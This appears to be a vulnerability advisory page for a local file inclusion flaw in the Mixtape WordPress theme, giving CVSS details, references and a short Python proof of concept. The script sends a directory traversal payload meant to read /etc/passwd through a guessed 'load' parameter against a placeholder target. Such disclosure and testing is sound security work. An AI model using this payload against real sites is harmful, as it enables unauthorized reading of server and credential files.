CVE-2026-25457

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Mixtape mixtape allows PHP Local File Inclusion.This issue affects Mixtape: from n/a through <= 2.1.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Select-Themes Mixtape <= 2.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-25457
# Conceptual Python script to demonstrate Local File Inclusion

import requests

def check_lfi(target_url):
    """
    Attempts to read /etc/passwd using directory traversal.
    """
    # The vulnerable parameter might vary, common ones are 'page', 'file', 'path'
    # This example assumes a parameter named 'load'
    traversal_payload = "../../../../../../etc/passwd"
    
    full_url = f"{target_url}?load={traversal_payload}"
    
    try:
        response = requests.get(full_url, timeout=5)
        if "root:" in response.text:
            return True, "Vulnerable: /etc/passwd content found in response."
        else:
            return False, "Target does not appear vulnerable or exploitation failed."
    except Exception as e:
        return False, f"Error occurred: {e}"

if __name__ == "__main__":
    target = "http://example.com/wp-content/themes/mixtape/vulnerable_file.php"
    is_vuln, msg = check_lfi(target)
    print(f"[+] Status: {msg}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25457
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25457
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25457/
[4] VulDB https://vuldb.com/cve/CVE-2026-25457
[5] https://patchstack.com/database/Wordpress/Theme/mixtape/vulnerability/wordpress-mixtape-theme-2-1-local-file-inclusion-vulnerability?_s_id=cve

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